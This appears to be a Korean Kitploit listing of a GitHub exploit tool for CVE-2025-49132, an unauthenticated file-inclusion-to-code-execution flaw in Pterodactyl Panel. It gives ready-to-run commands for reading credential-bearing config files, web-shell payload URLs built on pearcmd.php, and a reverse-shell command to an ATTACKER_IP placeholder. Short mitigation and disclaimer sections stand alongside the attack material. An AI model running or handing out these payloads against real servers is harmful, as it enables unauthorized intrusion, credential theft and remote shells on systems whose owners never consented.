Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-49132 — Pterodactyl용 CVE (학습 및 교육용) | Kitploit
도구/GitHubGitHub/popyue/cve-2025-49132
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingLearning & Education
GitHubpopyue/cve-2025-49132

CVE-2025-49132

Pterodactyl용 CVE (학습 및 교육용)

저장소 보기
46개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-49132 - Pterodactyl 패널 익스플로잇

⚠️ 면책 조항: 이 저장소는 CVE-2025-49132를 이해하고 문서화하기 위한 보안 연구의 일환으로 교육 및 연구 목적으로만 생성되었습니다. 취약점 발견에 대한 모든 공로는 원저 연구자(들)에게 있습니다.

root@kitploit:~
  ___ __   __ ___      ___   ___  ___  ___        _  _   ___  _  ____  ___ 
 / __|\ \ / /| __|___ |_  ) / _ \|_  )| __|___   | || | / _ \| ||__ / |_  )
| (__  \ V / | _|___|  / / | (_) |/ / |__ \___|  |_  _| \_, /| ||_ \  / / 
 \___|  \_/  |___|    /___| \___//___||___/        |_|   /_/ |_|___/ /___|

        Pterodactyl Panel - Unauthenticated LFI to RCE Exploit

📋 설명

CVE-2025-49132는 PHP의 pearcmd.php를 통해 **원격 코드 실행(RCE)**으로 확대될 수 있는 Pterodactyl 패널의 인증되지 않은 로컬 파일 포함(LFI) 취약점입니다.

이 취약점은 /locales/locale.json 엔드포인트에 존재하며, 해당 엔드포인트는 locale 및 namespace 매개변수를 제대로 검증하지 못해 공격자가 임의의 PHP 구성 파일을 읽고 코드 실행을 달성할 수 있게 합니다.

🎯 영향을 받는 버전

상태버전
❌ 취약<= 1.11.10
✅ 패치됨>= 1.11.11

⚡ 기능

  • LFI 모드: PHP 구성 파일 읽기(데이터베이스 자격 증명, APP_KEY 등)
  • RCE 모드: pearcmd.php LFI2RCE 기법을 통한 원격 코드 실행
  • 대화형 셸: 여러 명령 실행을 위한 지속적 셸
  • 단일 명령: 일회성 명령 실행
  • 형식화된 출력: 더 나은 가독성을 위한 색상 코드 및 형식화된 출력

📦 설치

root@kitploit:~
# 저장소 클론
git clone https://github.com/YOUR_USERNAME/CVE-2025-49132.git
cd CVE-2025-49132

# 의존성 설치
pip install requests

요구 사항

  • Python 3.6+
  • requests 라이브러리
  • curl (RCE 모드용)

🚀 사용법

LFI - 구성 파일 읽기

root@kitploit:~
# 데이터베이스 구성 읽기
python exploit.py -u http://target.com --read -p ../../config -f database

# 애플리케이션 구성 읽기 (APP_KEY 포함)
python exploit.py -u http://target.com --read -p ../../config -f app

# 기타 구성 읽기
python exploit.py -u http://target.com --read -p ../../config -f auth
python exploit.py -u http://target.com --read -p ../../config -f session
python exploit.py -u http://target.com --read -p ../../config -f mail

RCE - 원격 코드 실행

root@kitploit:~
# 단일 명령 실행
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "id"
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "whoami"

# 대화형 셸 모드
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR

# 리버스 셸
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"

일반적인 PEAR 경로

배포판경로
Debian/Ubuntu../../../../../../usr/share/php
SUSE/OpenSUSE../../../../../../usr/share/php/PEAR

📖 인수

🔬 작동 원리

LFI (로컬 파일 포함)

취약한 엔드포인트 /locales/locale.json은 locale 및 namespace 매개변수를 허용합니다:

root@kitploit:~
GET /locales/locale.json?locale=../../config&namespace=database

이를 통해 배열을 반환하는 모든 PHP 파일(라라벨 구성 파일 포함)을 읽을 수 있습니다.

RCE (원격 코드 실행)

이 익스플로잇은 LFI를 pearcmd.php와 연결하여 RCE를 달성합니다:

  1. 1단계: pearcmd.php의 config-create 명령을 사용하여 PHP 웹셸 작성

    root@kitploit:~
    /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system(...)?>+/tmp/shell.php
    
  2. 2단계: LFI를 통해 작성된 셸 포함

    root@kitploit:~
    /locales/locale.json?locale=../../../../../../tmp&namespace=shell&c=<hex_encoded_cmd>
    

📸 스크린샷

LFI - 데이터베이스 구성 읽기

root@kitploit:~
════════════════════════════════════════════════════════════
  DATABASE CONFIGURATION
════════════════════════════════════════════════════════════

  default: mysql
  connections:
    mysql:
      driver: mysql
      host: 127.0.0.1
      port: 3306
      database: panel
      username: pterodactyl
      password: SecretPassword123

────────────────────────────────────────────────────────────
[+] Configuration extracted successfully!

RCE - 명령 실행

root@kitploit:~
[*] Target: http://panel.example.com
[*] Executing command: id
[*] Writing payload to: /tmp/cmd_abc123.php
[+] Output:
----------------------------------------
uid=474(wwwrun) gid=477(www) groups=477(www)
----------------------------------------

🛡️ 완화 조치

  1. Pterodactyl 패널을 버전 1.11.11 이상으로 업데이트
  2. locale 및 namespace 매개변수에 대한 적절한 입력 검증 구현
  3. 유효한 locale/namespace 값에 대한 허용 목록(allowlist) 사용
  4. PHP의 register_argc_argv 지시문 제한

⚠️ 면책 조항

이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.

  • 소유한 시스템 또는 명시적 서면 승인을 받은 시스템에서만 이 도구를 사용하십시오
  • 컴퓨터 시스템에 대한 무단 접근은 불법입니다
  • 작성자는 이 도구로 인한 오용이나 손해에 대해 책임을 지지 않습니다

책임감 있고 윤리적으로 사용하십시오.

📚 참고 자료

  • Pterodactyl 패널 공식 사이트
  • Pterodactyl 패널 GitHub
  • CVE-2025-49132 상세 정보
  • CVE-2025-49132: Pterodactyl 패널, 인증되지 않은 임의 원격 코드 실행 허용
  • PEAR LFI to RCE 기법
  • PHP 필터 체인 생성기
  • 로컬 파일 포함에서 원격 코드 실행(RCE)으로

📝 변경 로그

  • v1.0.0 - 최초 릴리스
    • LFI 구성 읽기
    • pearcmd를 통한 RCE
    • 대화형 셸 모드
    • 형식화된 출력

⭐ 이 저장소가 유용했다면 스타를 눌러주세요!

도구 다운로드
CentOS/RHEL../../../../../../usr/share/pear
Alpine../../../../../../usr/share/php8
인수설명
-u, --url대상 URL (필수)
-p, --pathLFI용 경로 탐색 또는 RCE용 PEAR 경로
-f, --file읽을 PHP 파일 (.php 확장자 제외)
--readLFI 읽기 모드 활성화
--rceRCE 모드 활성화
--cmd실행할 명령 (단일 실행 모드)
--sdir셸을 작성할 디렉터리 (기본값: /tmp)
--sname셸 파일 이름 (기본값: shell)